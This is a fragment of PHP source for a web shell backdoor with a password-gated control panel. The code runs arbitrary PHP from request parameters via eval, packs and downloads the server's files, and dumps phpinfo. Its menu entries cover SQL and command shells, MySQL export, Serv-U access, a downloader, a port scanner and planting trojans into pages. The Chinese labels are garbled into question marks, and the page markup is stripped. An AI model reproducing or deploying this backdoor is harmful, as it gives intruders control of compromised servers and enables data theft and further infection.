|
|
|
$v) $_POST[$k] = stripslashes($v);
foreach($_GET as $k => $v) $_GET[$k] = stripslashes($v);
}
if(isset($_REQUEST[postpass])){
hmlogin(2);
@eval($_REQUEST[postpass]);
exit;}
if($_COOKIE['postpass'] != md5(postpass)){
if($_POST['postpass']){
if($_POST['postpass'] == postpass){
setcookie('postpass',md5($_POST['postpass']));
hmlogin();
}else{
echo '???????';
}
}
islogin($shellname,$myurl);
exit;
}
if(isset($_GET['down'])) do_down($_GET['down']);
if(isset($_GET['pack'])){
$dir = do_show($_GET['pack']);
$zip = new eanver($dir);
$out = $zip->out;
do_download($out,$_SERVER['HTTP_HOST'].".tar.gz");
}
if(isset($_GET['unzip'])){
css_main();
start_unzip($_GET['unzip'],$_GET['unzip'],$_GET['todir']);
exit;
}
define('root_dir',str_replace('\\','/',dirname(myaddress)).'/');
define('run_win',substr(PHP_OS, 0, 3) == "WIN");
define('my_shell',str_path(root_dir.$_SERVER['SCRIPT_NAME']));
$eanver = isset($_GET['eanver']) ? $_GET['eanver'] : "";
$doing = isset($_POST['doing']) ? $_POST['doing'] : "";
$path = isset($_GET['path']) ? $_GET['path'] : root_dir;
$name = isset($_POST['name']) ? $_POST['name'] : "";
$img = isset($_GET['img']) ? $_GET['img'] : "";
$p = isset($_GET['p']) ? $_GET['p'] : "";
$pp = urlencode(dirname($p));
if($img) css_img($img);
if($eanver == "phpinfo") die(phpinfo());
if($eanver == 'logout'){
setcookie('postpass',null);
die('');
}
$class = array(
"????" => array("upfiles" => "????","phpinfo" => "????","info_f" => "????","phpcode" => "??PHP??"),
"????" => array("sqlshell" => "??SQL??","mysql_exec" => "MYSQL??","myexp" => "MYSQL??","servu" => "Serv-U??","cmd" => "????","linux" => "????","downloader" => "????","port" => "????"),
"????" => array("guama" => "??????","tihuan" => "??????","scanfile" => "??????","scanphp" => "??????"),
"????" => array("getcode" => "????")
);
$msg = array("0" => "????","1" => "????","2" => "????","3" => "????","4" => "????","5" => "????","6" => "????","7" => "????");
css_main();
switch($eanver){
case "left":
css_left();
html_n("- ");
html_img("title");html_n(" ????
");
$ROOT_DIR = File_Mode();
html_n("- ?????
");
html_n("- ?????
");
for ($i=66;$i<=90;$i++){$drive= chr($i).':';
if (is_dir($drive."/")){$vol=File_Str("vol $drive");if(empty($vol))$vol=$drive;
html_n("- ????($drive)
");}}
html_n(" ");
$i = 2;
foreach($class as $name => $array){
html_n("- ");
html_img("title");html_n(" $name
");
foreach($array as $url => $value){
html_n("- $value
");
}
html_n(" ");
$i++;
}
html_n("- ");
html_img("title");html_n(" ????
");
html_n("- ????
");
html_n(" ");
html_n("");
break;
case "main":
css_js("1");
$dir = @dir($path);
$REAL_DIR = File_Str(realpath($path));
if(!empty($_POST['actall'])){echo ''.File_Act($_POST['files'],$_POST['actall'],$_POST['inver'],$REAL_DIR).' ';}
$NUM_D = $NUM_F = 0;
if(!$_SERVER['SERVER_NAME']) $GETURL = ''; else $GETURL = 'http://'.$_SERVER['SERVER_NAME'].'/';
$ROOT_DIR = File_Mode();
html_n(" |

|
|
|
 |
| |